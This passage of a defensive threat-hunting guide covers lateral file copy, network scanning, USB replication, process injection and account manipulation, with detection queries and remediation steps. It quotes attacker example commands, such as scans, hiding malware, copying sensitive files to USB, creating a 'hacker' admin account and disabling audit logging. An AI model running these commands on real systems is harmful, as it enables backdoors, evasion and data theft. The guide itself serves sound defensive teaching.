DeviceProcessEvents
| where FileName == "powershell.exe"
| where ProcessCommandLine contains "Copy-Item" or ProcessCommandLine contains "\\"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
🕵️ Detect BITSAdmin Abuse
DeviceProcessEvents
| where FileName == "bitsadmin.exe"
| where ProcessCommandLine contains "/transfer"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
🕵️ Identify Unusual Remote Sessions
DeviceNetworkEvents
| where RemotePort == 445 or RemotePort == 3389
| where InitiatingProcessFileName in~ ("cmd.exe", "powershell.exe")
| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessCommandLine, AccountName
📊 Event Viewer Logs
Event ID
Description
5145
A network share object was accessed.
4663
Object access attempt (file copy attempt).
4688
A new process was created.
4104
PowerShell Script Block Logging (Copy-Item commands).
7045
A new service was installed (via PsExec).
📌 Focus on Event ID 5145:
Look for file copy activity over SMB.
Monitor logs for
\\
,UNC paths
, or abnormal accounts.
📌 Focus on Event ID 4688:
Identify suspicious commands using:
robocopy.exe
xcopy.exe
psexec.exe
🕵️ 3. Investigation Techniques
1️⃣ Inspect SMB Sessions
List current SMB connections:
Get-SmbSession | Format-Table
2️⃣ Trace Command-Line Activity
Search for file copy commands:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*Copy-Item*" }
3️⃣ Check BITSAdmin Transfers
Review current BITS jobs:
bitsadmin /list /allusers /verbose
4️⃣ Inspect RDP Session Logs
Review file transfers via RDP logs:
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational"
5️⃣ Check FTP or SCP Activity
Look for FTP logs in:
C:\Windows\System32\LogFiles\FTPSVC2\
🔧 4. Remediation Steps
📌 1. Terminate Malicious Connections
Stop-Process -Name "powershell" -Force
Stop-Process -Name "psexec" -Force
📌 2. Disable Suspicious SMB Sessions
Close-SmbSession -SessionId <SessionID>
📌 3. Remove Malicious BITS Jobs
bitsadmin /reset /allusers
📌 4. Quarantine Malicious Files
Move-Item -Path "C:\Temp\payload.exe" -Destination "C:\Quarantine"
📌 5. Block Known Tools via AppLocker
New-AppLockerPolicy -RuleType Deny -Path "C:\Windows\System32\psexec.exe"
📌 6. Perform Full Antivirus Scan
Start-MpScan -ScanType FullScan
🛡️ 5. Prevention Steps
Disable SMB v1:
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
Limit Remote Access Tools:
Restrict
psexec.exe
,robocopy.exe
,xcopy.exe
.
Enable BITS Logging:
Monitor BITS jobs via Windows Event Logs.
Enable PowerShell Logging:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1
Use Network Segmentation:
Restrict file-sharing access to authorized systems.
Enable SIEM Alerts:
Create alerts for commands like
copy
,scp
,robocopy
, andbitsadmin
.
🧠 6. Key Takeaways
Native Tools Are Dangerous: Attackers often use legitimate tools (
xcopy
,robocopy
) for malicious purposes.Monitor SMB and FTP Activity: Look for unauthorized file transfers.
Enable Script Block Logging: Ensure
PowerShell
andBITS
commands are logged.Restrict File Sharing Permissions: Use least privilege for network shares.
🚨 Network Service Scanning
🔍 1. Attack Breakdown
📝 What is Network Service Scanning?
Network Service Scanning is the process where attackers probe network devices, servers, or endpoints to identify open ports, running services, and vulnerabilities.
Common goals include:
Identifying Targets: Find exploitable systems and services.
Mapping the Network Topology: Understand the structure and key services.
Finding Weak Services: Detect outdated or misconfigured services.
📑 Why Attackers Use Network Service Scanning?
Initial Reconnaissance: Build a map of potential entry points.
Vulnerability Detection: Find exploitable services.
Credential Spraying: Identify systems where default credentials may still work.
Evasion Planning: Identify security controls, firewalls, and intrusion detection systems.
📌 Common Tools Used for Network Scanning
Tool
Purpose
Command Example
Nmap
Port & service scanning
nmap -sV -p 1-65535 <target>
Masscan
High-speed port scanning
masscan -p1-65535 <target>
Netcat
Port probing
nc -zv <target> 80
ZMap
Internet-scale scanning
zmap -p 80 <target>
Shodan API
Search exposed systems
shodan search port:22
Metasploit
Service vulnerability scanning
msfconsole -x "use scanner/portscan/tcp"
📊 Common Techniques for Network Scanning
Technique
Description
Example Command
TCP Connect Scan
Check TCP connection to each port.
nmap -sT <target>
Stealth Scan (SYN Scan)
Evade logging by sending SYN packets.
nmap -sS <target>
UDP Scan
Scan UDP services.
nmap -sU <target>
Service Version Detection
Identify software versions.
nmap -sV <target>
OS Detection
Identify the OS type and version.
nmap -O <target>
Banner Grabbing
Extract server information from banners.
nc <target> 80
SNMP Scanning
Identify devices using SNMP.
onesixtyone <target>
🛡️ 2. Detection Techniques
📊 Manual Inspection with PowerShell
🕵️ Review Firewall Logs for Scan Patterns
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=5156]]"
Look for repeated connection attempts from a single IP across multiple ports.
🕵️ Check Failed Authentication Attempts
Get-EventLog -LogName Security -InstanceId 4625
Multiple failed login attempts on different services may indicate scanning.
🕵️ Monitor for Suspicious Connections
Get-NetTCPConnection | Where-Object { $_.State -eq "Established" } | Select-Object LocalAddress, RemoteAddress, LocalPort, RemotePort
Unusual connections across many ports from a single IP are suspicious.
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Network Scanning Behavior
DeviceNetworkEvents
| where RemoteIP != "127.0.0.1"
| summarize PortCount = dcount(RemotePort) by RemoteIP
| where PortCount > 50
| project Timestamp, DeviceName, RemoteIP, PortCount
🕵️ Identify High Frequency Connections
DeviceNetworkEvents
| summarize ConnectionCount = count() by RemoteIP, RemotePort
| where ConnectionCount > 100
| project Timestamp, DeviceName, RemoteIP, RemotePort, ConnectionCount
🕵️ Detect Known Scanning Tools
DeviceProcessEvents
| where FileName in~ ("nmap.exe", "masscan.exe", "zmap.exe", "netcat.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName
🕵️ Look for SYN Scans
DeviceNetworkEvents
| where Protocol == "TCP"
| where InitiatingProcessFileName contains "nmap"
| where RemotePort between (1 .. 1024)
| summarize ConnectionCount = count() by RemoteIP
| where ConnectionCount > 100
🕵️ Identify Suspicious UDP Traffic
DeviceNetworkEvents
| where Protocol == "UDP"
| where RemotePort between (1 .. 65535)
| summarize ConnectionCount = count() by RemoteIP
| where ConnectionCount > 50
📊 Event Viewer Logs
Event ID
Description
5156
A network connection was allowed.
5152
A network connection was blocked.
4625
Failed login attempt.
4688
A process was created.
📌 Focus on Event ID 5156:
Look for repeated allowed connections from a single Remote IP to many different ports.
📌 Focus on Event ID 4688:
Identify processes like:
nmap.exe
masscan.exe
zmap.exe
🕵️ 3. Investigation Techniques
1️⃣ Trace the Source IP
Identify the attacker’s IP address:
netstat -ano | findstr <Suspicious_IP>
2️⃣ Inspect Command-Line History
Look for scanning tool execution:
Get-History | Where-Object { $_.CommandLine -match "nmap|masscan|netcat" }
3️⃣ Check Suspicious Processes
Get-Process -Name nmap, masscan, zmap
4️⃣ Inspect Firewall Logs
Review blocked connection attempts:
Get-NetFirewallRule -Name *scan*
5️⃣ Analyze Network Flows
Capture network packets:
Start-Process -FilePath "tcpdump" -ArgumentList "-i eth0 -nn"
🔧 4. Remediation Steps
📌 1. Block Suspicious IP Addresses
New-NetFirewallRule -DisplayName "Block Suspicious Scanner" -Direction Inbound -RemoteAddress <Suspicious_IP> -Action Block
📌 2. Disable Unused Services and Ports
Disable-NetAdapterBinding -Name Ethernet -ComponentID ms_server
📌 3. Terminate Suspicious Processes
Stop-Process -Name "nmap" -Force
📌 4. Enable Firewall Logging
Set-NetFirewallProfile -Profile Domain,Public,Private -LogAllowed True
📌 5. Perform Full Antivirus Scan
Start-MpScan -ScanType FullScan
🛡️ 5. Prevention Steps
Enable Intrusion Detection System (IDS):
Use Snort or Suricata.
Implement Rate-Limiting:
Limit the number of connection attempts.
Segment the Network:
Use VLANs and isolated zones.
Disable Unnecessary Services:
Close unused ports and disable unnecessary protocols.
Enable Firewall Rules:
Block unused inbound ports.
Monitor Common Tools:
Alert on tools like nmap.exe, masscan.exe, zmap.exe.
🧠 6. Key Takeaways
Scanning is Often the First Step: Early detection is critical.
Monitor Network Traffic: Look for unusual connection spikes.
Control Tools: Block execution of known scanning tools.
Enable IDS/IPS: Use network monitoring to detect scans.
🚨 Replication Through Removable Media: Advanced Threat Analysis
🔍 1. Attack Breakdown
📝 What is Replication Through Removable Media?
Replication through removable media occurs when attackers use USB drives, external hard drives, or other removable storage devices to spread malware or exfiltrate data.
Malware is often automatically executed using autorun scripts or hidden malicious files.
📑 Why Attackers Use Removable Media?
Bypass Network Controls: No reliance on network connectivity.
Stealth: USB drives are less monitored than network transfers.
Physical Access: Effective in air-gapped environments.
Persistence: Can remain undetected and reinfect systems when reconnected.
📌 Common Techniques for USB-Based Replication
Technique
Description
Example Command/Tool
Autorun Exploitation
Malware is automatically executed via autorun.inf
.
echo [autorun] > autorun.inf
Hidden Malicious Files
Malware is hidden on the USB drive as system files.
attrib +s +h malicious.exe
Shortcut Abuse
Replace folder shortcuts with malicious executables.
cmd /c start folder.lnk
Payload Delivery
Malicious payloads transferred manually.
copy payload.exe F:\
Data Exfiltration
Sensitive data copied to the removable device.
xcopy C:\sensitive F:\ /E
📌 Common Malware Examples
USB Rubber Ducky: Hardware-based key injection.
BadUSB: Firmware-based USB attack.
Stuxnet: Spread through removable drives.
Autorun Worms: Malware exploiting
autorun.inf
.
🛡️ 2. Detection Techniques
📊 Manual Inspection with PowerShell
🕵️ List Attached USB Devices
Get-WmiObject -Class Win32_DiskDrive | Where-Object { $_.InterfaceType -eq "USB" } | Select-Object DeviceID, Model, MediaType
🕵️ Check USB Activity in Logs
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-DriverFrameworks-UserMode/Operational'; Id=2003}
🕵️ Search for Autorun Files
Get-ChildItem -Path "F:\" -Filter "autorun.inf" -Recurse -Force
🕵️ Identify Recently Created or Modified Files on USB
Get-ChildItem -Path "F:\" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-24) }
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect USB Device Connections
DeviceFileEvents
| where FolderPath contains ":\\"
| where DeviceName contains "USB"
| project Timestamp, DeviceName, FileName, FolderPath, ActionType, AccountName
🕵️ Identify Autorun Files
DeviceFileEvents
| where FileName == "autorun.inf"
| where ActionType in ("FileCreated", "FileModified")
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
🕵️ Detect Malware Dropped on USB
DeviceFileEvents
| where FolderPath contains ":\\"
| where FileName endswith ".exe" or FileName endswith ".bat"
| where ActionType == "FileCreated"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
🕵️ Detect Exfiltration Activity
DeviceFileEvents
| where FolderPath contains ":\\"
| where ActionType == "FileCopied"
| where FileName contains "password" or FileName contains "sensitive"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
🕵️ Look for Suspicious Processes Executed from USB
DeviceProcessEvents
| where FolderPath contains ":\\"
| where FileName endswith ".exe"
| project Timestamp, DeviceName, ProcessCommandLine, FolderPath, AccountName
📊 Event Viewer Logs
Event ID
Description
2003
USB device connected.
4688
Process creation (malware execution from USB).
4663
Object access attempt (e.g., file copied).
4670
Permissions changed on an object.
4656
Handle to an object was requested.
📌 Focus on Event ID 2003:
Tracks USB device connections.
📌 Focus on Event ID 4688:
Look for processes executed directly from a USB drive (
F:\malicious.exe
).
📌 Focus on Event ID 4663:
Tracks file access events.
🕵️ 3. Investigation Techniques
1️⃣ Identify USB Device Details
Check device properties:
Get-PnpDevice -Class USB
2️⃣ Review USB Device History
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-DriverFrameworks-UserMode/Operational'; Id=2003}
3️⃣ Trace Executed Files from USB
Identify suspicious execution paths:
Get-EventLog -LogName Security -InstanceId 4688 | Where-Object { $_.Message -like "*:\\*.exe" }
4️⃣ Check Recent File Transfers
Look for exfiltration patterns:
Get-ChildItem -Path "F:\" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-1) }
5️⃣ Extract Autorun Configurations
Inspect
autorun.inf
:
Get-Content -Path "F:\autorun.inf"
🔧 4. Remediation Steps
📌 1. Disable Autorun for Removable Devices
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 255 /f
📌 2. Quarantine Suspicious Files
Move-Item -Path "F:\malicious.exe" -Destination "C:\Quarantine"
📌 3. Block Malicious Processes
Stop-Process -Name "malicious" -Force
📌 4. Remove Suspicious Autorun Files
Remove-Item -Path "F:\autorun.inf"
📌 5. Perform Full Antivirus Scan
Start-MpScan -ScanType FullScan
🛡️ 5. Prevention Steps
Disable Autorun:
Prevent automatic execution of files from removable devices.
Restrict USB Access:
Implement policies to restrict USB drive usage.
Enable USB Auditing:
Enable Event Logs for USB activity.
Use Device Control Solutions:
Implement tools like Microsoft Defender Device Control.
Encrypt Sensitive Data:
Ensure sensitive data cannot be easily copied to USB devices.
Block Known Malicious Tools:
Block
autorun.inf
and known malicious file extensions via AppLocker.
Educate Users:
Train users to avoid connecting unknown USB devices.
🧠 6. Key Takeaways
USB Drives Are a Threat Vector: Monitor USB access and file transfers.
Disable Autorun: Prevent automatic execution of malicious payloads.
Audit USB Activity: Enable detailed logging for USB connections.
Use Device Control: Restrict or block USB usage for unauthorized users.
Educate Employees: Train them on risks associated with USB drives.
🚨 Process Injection
🔍 **1. Attack Breakdown
📝 What is Process Injection?
Process Injection is a technique used by attackers to inject malicious code into legitimate processes to:
Evade Detection: Hide within trusted processes (e.g.,
explorer.exe
,svchost.exe
).Privilege Escalation: Execute code with higher privileges.
Persistence: Maintain access even after reboots.
Bypass Security Controls: Avoid antivirus or endpoint protection detection.
📑 Why Attackers Use Process Injection?
Stealth: Operate within trusted processes.
Access: Leverage the privileges of the injected process.
Bypass Controls: Avoid application whitelisting.
Persistence: Maintain presence across sessions.
📌 Common Techniques for Process Injection
Technique
Description
Tool Example
DLL Injection
Inject malicious DLLs into legitimate processes.
rundll32.exe
Process Hollowing
Replace a process's memory with malicious code.
svchost.exe
APC Injection
Use Asynchronous Procedure Calls for injection.
Mimikatz
Thread Execution Hijacking
Hijack an existing thread for malicious code.
Metasploit
Reflective DLL Injection
Load DLLs directly into memory.
Cobalt Strike
Shellcode Injection
Inject and execute raw shellcode in a process.
Metasploit
, Cobalt Strike
📊 Common Tools for Process Injection
Tool
Purpose
Metasploit
Payload generation and injection
Mimikatz
Credential dumping with injection
Cobalt Strike
Post-exploitation framework
PowerSploit
PowerShell exploitation scripts
Process Hacker
Process analysis and injection
🛡️ 2. Detection Techniques
📊 Manual Inspection with PowerShell
🕵️ List Suspicious Processes
Get-Process | Where-Object { $_.Path -like "*Temp*" }
🕵️ Check Suspicious DLL Injections
Get-Process -Module | Where-Object { $_.ModuleName -like "*.dll" -and $_.FileName -like "*Temp*" }
🕵️ Inspect Threads in Processes
Get-CimInstance Win32_Process | Select-Object ProcessId, Name, CommandLine, ParentProcessId
🕵️ Check Remote Thread Creation
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*CreateRemoteThread*" }
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect DLL Injection
DeviceFileEvents
| where FileName endswith ".dll"
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName, InitiatingProcessCommandLine
🕵️ Detect Remote Thread Creation
DeviceProcessEvents
| where ProcessCommandLine contains "CreateRemoteThread"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
🕵️ Identify Hollowed Processes
DeviceProcessEvents
| where InitiatingProcessCommandLine contains "svchost.exe"
| where ProcessCommandLine contains "explorer.exe" or ProcessCommandLine contains "cmd.exe"
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName
🕵️ Detect Reflective DLL Injection
DeviceProcessEvents
| where ProcessCommandLine contains "rundll32.exe"
| where ProcessCommandLine contains "LoadLibrary"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
🕵️ Monitor Suspicious Thread Creation
DeviceProcessEvents
| where InitiatingProcessFileName contains "powershell.exe" or InitiatingProcessFileName contains "cmd.exe"
| where ProcessCommandLine contains "VirtualAlloc" or ProcessCommandLine contains "WriteProcessMemory"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
📊 Event Viewer Logs
Event ID
Description
4688
Process creation (Look for CreateRemoteThread
)
4689
Process termination
4697
Service installed on a system
4720
An account was created
📌 Focus on Event ID 4688:
Look for:
ProcessName: rundll32.exe, svchost.exe, powershell.exe CommandLine: CreateRemoteThread, VirtualAlloc, WriteProcessMemory
📌 Focus on Event ID 4697:
Look for unusual services created with suspicious paths.
🕵️ 3. Investigation Techniques
1️⃣ Trace Injected Processes
Identify suspicious child-parent process relationships:
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
2️⃣ Analyze DLL Loading Paths
Verify DLL paths:
Get-Process -Module | Where-Object { $_.ModuleName -like "*.dll" }
3️⃣ Monitor Memory Activity
Look for unexpected memory allocation:
Get-Process -Name svchost | Select-Object Handles, NPM, PM, WS
4️⃣ Check Running Threads
Identify unusual thread activity:
Get-Process -Id <PID> | Select-Object Threads
5️⃣ Review Command-Line Activity
Check for encoded or suspicious PowerShell commands:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Select-String "EncodedCommand"
🔧 4. Remediation Steps
📌 1. Kill Malicious Processes
Stop-Process -Id <PID> -Force
📌 2. Quarantine Malicious DLLs
Move-Item -Path "C:\Temp\malicious.dll" -Destination "C:\Quarantine"
📌 3. Disable Suspicious Services
Stop-Service -Name "suspiciousService"
📌 4. Remove Malicious Threads
Terminate injected threads manually.
📌 5. Enable Advanced Threat Protection (ATP)
Ensure real-time protection is active.
📌 6. Perform Full Antivirus Scan
Start-MpScan -ScanType FullScan
🛡️ 5. Prevention Steps
Enable Process Auditing:
Enable Event ID 4688 and 4697.
Use Application Control:
Block suspicious binaries (
rundll32.exe
,powershell.exe
) from abnormal execution paths.
Enable Windows Defender ATP:
Ensure advanced threat protection is enabled.
Monitor Memory Allocation:
Use tools like Sysmon to track thread and memory injection.
Disable Unused Tools:
Restrict access to rundll32.exe and svchost.exe.
Educate Users:
Raise awareness about malicious file execution.
🧠 6. Key Takeaways
Process Injection is Stealthy: It allows attackers to hide malicious code in legitimate processes.
Monitor Process Tree Anomalies: Look for unusual parent-child relationships.
Focus on Memory Behavior: Techniques like VirtualAlloc and WriteProcessMemory are common.
Enable Security Auditing: Log Event IDs 4688, 4697, and 4689.
🚨 Account Manipulation
🔍 1. Attack Breakdown
📝 What is Account Manipulation?
Account Manipulation refers to the modification of user accounts in an operating system or directory service, often with malicious intent.
Attackers manipulate accounts to:
Maintain Persistence: Create or modify accounts for long-term access.
Escalate Privileges: Grant higher privileges to standard accounts.
Evade Detection: Disable logging or lock out legitimate administrators.
Create Backdoors: Add unauthorized accounts for fallback access.
📑 Why Attackers Use Account Manipulation?
Stealth Persistence: Stay undetected while maintaining access.
Privilege Escalation: Gain admin or system-level access.
Disable Security Controls: Turn off auditing or account policies.
Lateral Movement: Use compromised accounts to move across systems.
📌 Common Techniques for Account Manipulation
Technique
Description
Example Command
Create New Account
Add a new local user.
net user hacker Pass123! /add
Add Account to Admin Group
Grant administrative privileges.
net localgroup Administrators hacker /add
Modify Account Properties
Enable disabled accounts.
net user Administrator /active:yes
Change Passwords
Change account passwords.
net user Administrator NewPass123!
Disable Security Controls
Turn off account auditing.
auditpol /set /category:"Account Management" /success:disable
Modify Service Accounts
Change account used by a service.
sc config TrustedInstaller obj= .\hacker
📊 Common Tools for Account Manipulation
Tool
Purpose
Net User
Create and modify user accounts.
PowerShell
Script account changes.
Mimikatz
Extract and manipulate account credentials.
Windows Management Instrumentation (WMI)
Modify accounts remotely.
Active Directory Users and Computers (ADUC)
Graphical account management.
🛡️ 2. Detection Techniques
📊 Manual Inspection with PowerShell
🕵️ List Local User Accounts
Get-LocalUser
🕵️ Check Accounts Added to Admin Groups
Get-LocalGroupMember -Group "Administrators"
🕵️ Review Recently Created Accounts
Get-LocalUser | Where-Object { $_.LastLogon -gt (Get-Date).AddDays(-7) }
🕵️ Check for Modified Account Policies
auditpol /get /category:"Account Management"
🕵️ Inspect Event Logs for Account Creation
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4720}
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Account Creation Events
SecurityEvent
| where EventID == 4720
| project Timestamp, AccountName, TargetUserName, DeviceName
🕵️ Detect Accounts Added to Admin Groups
SecurityEvent
| where EventID == 4728
| project Timestamp, AccountName, GroupName, DeviceName
🕵️ Detect Suspicious Account Modifications
SecurityEvent
| where EventID in (4722, 4724, 4725, 4738)
| project Timestamp, AccountName, TargetUserName, DeviceName
🕵️ Monitor Password Changes
SecurityEvent
| where EventID == 4724
| project Timestamp, AccountName, TargetUserName, DeviceName
🕵️ Detect Disabled Security Auditing
DeviceProcessEvents
| where ProcessCommandLine contains "auditpol"
| where ProcessCommandLine contains "/set"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
🕵️ Monitor Suspicious PowerShell Commands
DeviceProcessEvents
| where FileName == "powershell.exe"
| where ProcessCommandLine contains "New-LocalUser" or ProcessCommandLine contains "Add-LocalGroupMember"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
📊 Event Viewer Logs
Event ID
Description
4720
A user account was created.
4722
A user account was enabled.
4724
An attempt was made to reset an account's password.
4725
A user account was disabled.
4728
A user was added to a privileged group.
4738
A user account was changed.
📌 Focus on Event ID 4720 (Account Creation):
Look for unusual account names and timestamps.
📌 Focus on Event ID 4728 (Added to Admin Group):
Check if accounts were added unexpectedly to
Administrators
.
📌 Focus on Event ID 4724 (Password Reset):
Look for accounts with passwords reset by unusual accounts.
🕵️ 3. Investigation Techniques
1️⃣ Identify Suspicious Accounts
Check recently created accounts:
Get-LocalUser | Where-Object { $_.LastLogon -gt (Get-Date).AddDays(-7) }
2️⃣ Inspect Privileged Group Membership
Review
Administrators
group:
Get-LocalGroupMember -Group "Administrators"
3️⃣ Trace Password Changes
Inspect Event Logs:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4724}
4️⃣ Audit Account Policies
Ensure auditing is enabled:
auditpol /get /category:"Account Management"
5️⃣ Review Suspicious Commands
Check for suspicious command execution:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*net user*" }
🔧 4. Remediation Steps
📌 1. Disable Suspicious Accounts
Disable-LocalUser -Name "SuspiciousUser"
📌 2. Remove Unauthorized Group Membership
Remove-LocalGroupMember -Group "Administrators" -Member "SuspiciousUser"
📌 3. Reset Compromised Account Passwords
net user Administrator NewP@ssw0rd!
📌 4. Enable Security Auditing
auditpol /set /category:"Account Management" /success:enable /failure:enable
📌 5. Perform Full Antivirus Scan
Start-MpScan -ScanType FullScan
🛡️ 5. Prevention Steps
Enable Account Auditing:
Ensure Event IDs 4720, 4728, 4724, and 4738 are logged.
Use Least Privilege Principle:
Limit admin access to essential accounts only.
Implement Strong Password Policies:
Enforce complex passwords and regular password changes.
Restrict Account Creation:
Use Group Policy to restrict account creation permissions.
Enable Multi-Factor Authentication (MFA):
Prevent unauthorized account access.
Monitor Critical Accounts:
Set up alerts for admin accounts and privileged group changes.
Educate Administrators:
Train admins to recognize and respond to account manipulation attempts.
🧠 6. Key Takeaways
Account Manipulation Enables Persistence: Attackers use it for long-term access.
Monitor Privileged Groups: Admin group changes are a red flag.
Audit Account Changes: Focus on Event IDs 4720, 4728, 4724.
Prevent Unauthorized Account Modifications: Use Group Policy and MFA.
Last updated